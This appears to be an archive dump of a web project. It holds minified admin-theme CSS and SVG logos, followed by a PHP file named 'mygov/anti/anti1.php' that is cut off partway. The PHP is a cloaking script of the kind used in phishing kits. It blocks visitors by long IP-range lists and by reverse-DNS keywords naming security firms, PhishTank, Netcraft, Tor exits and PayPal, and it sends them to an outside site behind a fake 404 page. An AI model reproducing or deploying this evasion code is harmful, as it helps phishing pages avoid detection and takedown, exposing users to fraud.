0.2, 1);transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-moz-transform:translate3d(0, 0, 0);-o-transform:translate3d(0, 0, 0);-ms-transform:translate3d(0, 0, 0);-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);white-space:nowrap;visibility:visible}.wrapper .page-wrap .app-sidebar .sidebar-header{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:space-between;-moz-justify-content:space-between;-ms-justify-content:space-between;justify-content:space-between;-ms-flex-pack:space-between;padding:13px 15px;height:60px}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand{display:block;font-size:22px;font-weight:700;color:#212529}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img{display:inline-block;width:30px}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon{border:none}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:none;border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:inline-block}}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}}.wrapper .page-wrap .app-sidebar .sidebar-content{position:relative;height:-webkit-calc(100vh - 60px);height:-moz-calc(100vh - 60px);height:calc(100vh - 60px);overflow:auto;z-index:4}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a{display:block;overflow:hidden;padding:15px 5px;margin-left:15px;margin-right:15px;color:#545454;position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i{font-size:20px;margin-right:10px;display:inline-block;vertical-align:-4px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{font-size:13px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge{position:absolute;right:30px;text-align:center;top:16px;vertical-align:middle;white-space:nowrap;opacity:1;visibility:visible;border-radius:4px;font-size:75%;padding:4px 7px;margin-right:5px;font-weight:800;color:#fff;-webkit-transition:opacity 0.3s linear;transition:opacity 0.3s linear;text-transform:uppercase}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled{opacity:0.5;cursor:not-allowed !important}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before{content:"\e844";font-family:"iconkit";position:absolute;right:3px;top:15px;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content{background-color:#f3f3f3}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item{padding:10px 5px;font-size:13px;padding-left:50px;margin:0}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active{color:#eb525d}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before{content:"\e844";font-family:"iconkit";position:absolute;right:20px;top:10px;display:inline-block;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item{padding-left:70px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;position:absolute;top:10px;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;top:10px;position:absolute;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{font-size:14px;font-weight:400;opacity:1;padding:8px 20px 8px;text-transform:capitalize;visibility:visible;width:100%;color:#999;background:#333e52}.wrapper .page-wrap .app-sidebar.colored .sidebar-header{background-color:#272d36}.wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content{background-color:#404E67}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item{border-color:rgba(243,243,243,0.15)}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i{color:#bcc8d8}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content{background-color:#4a5872}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after,.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after{background-color:#eb525d}.wrapper .page-wrap .app-sidebar.hide-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-moz-transform:translate3d(-100%, 0, 0);-o-transform:translate3d(-100%, 0, 0);-ms-transform:translate3d(-100%, 0, 0);-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1)}}.wrapper .page-wrap .main-content{padding:30px 0;background-color:#F6F7FB;min-height:calc(100vh - 120px);margin-top:60px;padding-right:15px;padding-left:255px;-moz-transition:all 0.3s ease;-o-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}@media only screen and (max-width: 1023px){.wrapper .page-wrap .main-content{padding-left:0;padding-right:0}}.wrapper .page-wrap .main-content .page-header{margin-bottom:30px}.wrapper .page-wrap .main-content .page-header .page-header-title i{float:left;width:40px;height:40px;border-radius:5px;margin-right:20px;vertical-align:middle;font-size:22px;color:#fff;display:inline-flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);-moz-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);box-shadow:0 2px 12px -3px rgba(0,0,0,0.5)}.wrapper .page-wrap .main-content .page-header .page-header-title h5{margin-bottom:0;font-weight:700;font-size:18px}.wrapper .page-wrap .main-content .page-header .page-header-title h5+span{font-size:13px}.wrapper .page-wrap .main-content .page-header .breadcrumb-container{float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb{background-color:transparent;margin-bottom:0;float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a{color:#212121}.wrapper .page-wrap .main-content .card .card-body .sub-title{font-size:14px;border-bottom:1px solid rgba(204,204,204,0.35);padding-bottom:10px;margin-bottom:20px;color:#2c3e50}.wrapper .page-wrap .main-content .card .card-body code{background-color:#eee;margin:5px;display:inline-block;padding:1px 6px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item{padding:13px 20px;border:1px solid #ededed;position:relative;border-left:0;border-right:0;height:50px;overflow:hidden;-moz-transition:transform 0.2s ease-in-out;-o-transition:transform 0.2s ease-in-out;-webkit-transition:transform 0.2s ease-in-out;transition:transform 0.2s ease-in-out}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:flex-start;-moz-justify-content:flex-start;-ms-justify-content:flex-start;justify-content:flex-start;-ms-flex-pack:flex-start;position:relative}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control{margin:0;margin-top:-2px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title{width:100%;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a{color:#3e5569;font-weight:600;display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;width:calc(100% - 50px)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions{position:absolute;right:0px;top:50%;opacity:0;display:none;z-index:3;padding-left:10px;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:32px;color:#999;display:inline-block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus{background-color:#dee2e6;color:#333}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap{margin-top:5px;opacity:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p{margin:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus{background-color:#f9f9f9}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions{opacity:1;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened{height:auto;background-color:#fff;border:none;z-index:5;-webkit-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-transform:scale(1.01);-o-transform:scale(1.01);-ms-transform:scale(1.01);-webkit-transform:scale(1.01);transform:scale(1.01)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a{font-size:16px;color:#263238}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap{opacity:1}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item+.list-item{margin-top:-1px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child{border-bottom:none}.wrapper .page-wrap .footer{background:#fff;padding:20px 30px;border-top:1px solid rgba(0,0,0,0.04);font-size:calc(0.875rem - 0.05rem);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}@media only screen and (min-width: 1024px){.wrapper .page-wrap .footer{padding-left:270px}}.wrapper .page-wrap .right-sidebar{position:fixed;top:60px;right:0;width:240px;background:#fff;height:calc(100vh - 60px);border-left:1px solid #eef1f2;border-top:1px solid #eef1f2;padding:1.07143em;z-index:9;-moz-transform:translateX(100%);-o-transform:translateX(100%);-ms-transform:translateX(100%);-webkit-transform:translateX(100%);transform:translateX(100%);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6{color:#353c4e}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group{position:relative}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control{padding-right:30px;border-radius:50px;-webkit-border-radius:50px;-moz-border-radius:50px;padding-left:15px}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i{position:absolute;top:8px;right:10px;font-size:16px;color:#bbb}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group{margin-left:-1.07143em;margin-right:-1.07143em}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item{background:none;border:0;border-top:1px solid #eef1f2;padding:1em 1.07143em;overflow:hidden;color:#999;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure{margin:0;position:relative;margin-right:10px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img{width:40px;height:40px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span{line-height:1em;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:end;-moz-justify-content:end;-ms-justify-content:end;justify-content:end;-ms-flex-pack:end;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name{font-size:14px;color:#444;margin-bottom:5px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after{position:absolute;top:calc(50% + 15px);left:0;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel{position:fixed;top:calc(100vh);right:calc( 240px + 15px);width:310px;z-index:9999;-moz-transform:translateY(-100%) translateX(14.0625rem);-o-transform:translateY(-100%) translateX(14.0625rem);-ms-transform:translateY(-100%) translateX(14.0625rem);-webkit-transform:translateY(-100%) translateX(14.0625rem);transform:translateY(-100%) translateX(14.0625rem)}.wrapper .page-wrap .chat-panel .card{border:none;margin-bottom:1.42857em;border-radius:10px;-webkit-border-radius:10px;-moz-border-radius:10px;-webkit-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);-moz-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);box-shadow:0 4px 8px 3px rgba(0,0,0,0.2)}.wrapper .page-wrap .chat-panel .card .card-header{background:none;padding:1.07143em 1.42857em;font-size:1.14286em;border-bottom:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-body{padding:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages{position:relative;max-height:21.42857em;overflow-y:scroll;margin-top:-1.07143em;margin-right:-1.07143em;margin-left:-1.07143em;padding-top:1.07143em;padding-right:1.07143em;padding-left:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages .message{margin:0.71429em 0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child{margin-top:0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure{-webkit-box-ordinal-group:3;-ms-flex-order:2;margin:0;position:relative;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img{width:30px;height:30px}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body{margin-top:.5em;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end;margin:auto 1.5em;-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p{background:#404E67;border:1px solid #404E67;border-radius:3px;padding:.5em 1em;color:#fff;margin-bottom:.5em;position:relative}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;top:1.25rem;right:-7px;left:auto;border-style:solid;border-width:6px 0 7px 6px;border-color:transparent transparent transparent #404E67;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{right:-7px;border-left-color:#404E67}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p{background:#fff;border:1px solid #eef1f2;border-radius:0;border-top-right-radius:3px;border-bottom-right-radius:3px;border-radius:3px;color:#666}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{left:-9px;border-right-color:#eef1f2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-footer{background:none;padding:1.07143em 1.42857em;border-top:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-footer .list-icon{font-size:1.125rem}.wrapper .page-wrap .chat-panel .card .card-footer textarea{box-shadow:none;resize:none;padding:0;width:100%;min-height:auto;padding:5px 0}.wrapper.nav-collapsed .header-top{padding-left:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar{width:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover{width:240px}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel{display:block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before{display:inline-block}.wrapper.nav-collapsed .page-wrap .main-content{padding-left:75px}.wrapper.nav-collapsed .page-wrap .footer{padding-left:90px}.wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}.wrapper.right-sidebar-expand .right-sidebar{-moz-transform:translateX(0);-o-transform:translateX(0);-ms-transform:translateX(0);-webkit-transform:translateX(0);transform:translateX(0)}.wrapper.right-sidebar-expand .chat-panel{-moz-transform:translateY(-100%) translateX(0);-o-transform:translateY(-100%) translateX(0);-ms-transform:translateY(-100%) translateX(0);-webkit-transform:translateY(-100%) translateX(0);transform:translateY(-100%) translateX(0)}hr{box-sizing:content-box;height:0;margin-top:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}.profiletimeline{position:relative;padding-left:40px;margin:40px 10px 0 30px;border-left:1px solid rgba(0,0,0,0.1)}.profiletimeline .sl-item{margin-top:8px;margin-bottom:30px}.profiletimeline .sl-item .sl-left{float:left;margin-left:-60px;z-index:1;margin-right:15px}.profiletimeline .sl-item .sl-left img{max-width:40px}.profiletimeline .sl-item .sl-right .sl-date{font-size:12px;color:#afb5c1}.dd-handle{background:#f7f7f7;border-radius:3px;padding:20px;position:relative;display:block;text-decoration:none;margin:5px 0;overflow:hidden}.dd-handle p{margin:0}.dd-handle:after,.dd-handle::after{content:'';width:5px;height:100%;position:absolute;top:0;left:0}.dd-list{margin:0;padding:0;list-style:none}.dd-list .dd-placeholder,.dd-list .dd-empty{margin:5px 0;padding:0;min-height:30px;background:#f2fbff;border:1px dashed #b6bcbf;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dd-list .dd-list{padding-left:30px}.dd-dragel{position:absolute;pointer-events:none;z-index:9999}.dd-dragel .dd-handle{-webkit-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);-ms-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1)}.todo-task .dd-handle:after,.todo-task .dd-handle::after{background-color:#f5365c}.progress-task .dd-handle:after,.progress-task .dd-handle::after{background-color:#F7CA18}.completed-task .dd-handle:after,.completed-task .dd-handle::after{background-color:#26C281}[class*="user--"]::after{height:0.64286em;width:0.64286em;display:block;position:absolute;top:0;right:10%;border-radius:100px;content:"";-webkit-box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 2px #fff}.user--online:after{background:#06d6a0}.user--busy:after{background:#ff3333}.user--offline:after{background:#bbb} /*# sourceMappingURL=theme.min.css.map */ img/down-arrow.svg000064400000000576151676702570010170 0ustar00<?xml version='1.0' encoding='utf-8'?> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 129 129" enable-background="new 0 0 129 129"> <g> <path d="m121.3,34.6c-1.6-1.6-4.2-1.6-5.8,0l-51,51.1-51.1-51.1c-1.6-1.6-4.2-1.6-5.8,0-1.6,1.6-1.6,4.2 0,5.8l53.9,53.9c0.8,0.8 1.8,1.2 2.9,1.2 1,0 2.1-0.4 2.9-1.2l53.9-53.9c1.7-1.6 1.7-4.2 0.1-5.8z"/> </g> </svg> img/.gitignore000064400000000000151676702570007316 0ustar00img/brand-white.svg000064400000001420151676702570010262 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 54.3 54" style="enable-background:new 0 0 54.3 54;" xml:space="preserve"> <style type="text/css"> .st0{fill:#FFFFFF;} .st1{fill:#EF4153;} </style> <path class="st0" d="M20.1,13.8v5H13v20.9H7.7V18.8H0.6v-5H20.1z"/> <path class="st0" d="M46.2,39.7h-6.6l-7.4-11.1l-3.9,4.3v6.8H23V13.8h5.3v12.3l10.5-12.3h6.9l-9.8,10.7L46.2,39.7z"/> <path class="st1" d="M52.8,39c-0.7,0.6-1.5,1-2.5,1c-1,0-1.9-0.3-2.5-1c-0.7-0.6-1-1.5-1-2.5c0-1,0.3-1.8,1-2.5c0.7-0.7,1.5-1,2.5-1 c1,0,1.8,0.3,2.5,1c0.7,0.7,1,1.5,1,2.5C53.7,37.5,53.4,38.3,52.8,39z"/> </svg> img/brand.svg000064400000001361151676702570007150 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 54.3 54" style="enable-background:new 0 0 54.3 54;" xml:space="preserve"> <style type="text/css"> .st0{fill:#EF4153;} </style> <g> <path d="M20.1,13.8v5H13v20.9H7.7V18.8H0.6v-5H20.1z"/> <path d="M46.2,39.7h-6.6l-7.4-11.1l-3.9,4.3v6.8H23V13.8h5.3v12.3l10.5-12.3h6.9l-9.8,10.7L46.2,39.7z"/> <path class="st0" d="M52.8,39c-0.7,0.6-1.5,1-2.5,1c-1,0-1.9-0.3-2.5-1c-0.7-0.6-1-1.5-1-2.5c0-1,0.3-1.8,1-2.5 c0.7-0.7,1.5-1,2.5-1c1,0,1.8,0.3,2.5,1c0.7,0.7,1,1.5,1,2.5C53.7,37.5,53.4,38.3,52.8,39z"/> </g> </svg> mygov/anti/anti1.php000064400000005353151676702570010413 0ustar00<?php $c28dd9c=$_SERVER['REMOTE_ADDR'];$c97e57ec=array("^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^173.239.*.*","^173.244.36.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","173.239.240.147", "103.248.172.42", "87.113.96.90", "165.227.0.128", "185.229.190.140", "165.227.0.128", "46.101.94.163", "165.227.39.194", "87.113.96.90", "46.101.119.24", "82.102.27.75", "173.239.230.97", "82.102.27.75", "87.113.96.90", "46.101.119.24", "173.239.230.97", "87.113.96.90", "87.113.96.90", "159.203.0.156", "162.243.187.126", "82.102.27.75", "87.113.96.90", "103.248.172.42", "103.248.172.42", "47.30.133.89", "103.248.172.42" );if(in_array($c28dd9c,$c97e57ec)){exit(header('Location: http://2m.ma'));}else{foreach($c97e57ec as $a4ade){if(preg_match('/'.$a4ade.'/',$c28dd9c)){header('Location: http://2m.ma');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}$e5bd3f5f=gethostbyaddr($c28dd9c);$f6650d6e=array("drweb","hostinger","scanurl","above","google","Dr.Web","facebook","softlayer","amazonaws","cyveillance","dreamhost","netpilot","calyxinstitute","tor-exit","phishtank","msnbot","p3pwgdsn","netcraft","trendmicro","ebay","paypal","torservers","messagelabs","sucuri.net","crawler");foreach($f6650d6e as $e540ca){if(substr_count($e5bd3f5f,$e540ca)>0){header('Location: http://2m.ma');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}if(!empty($_SERVER['HTTP_USER_AGENT'])){$c3d1b=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");foreach($c3d1b as 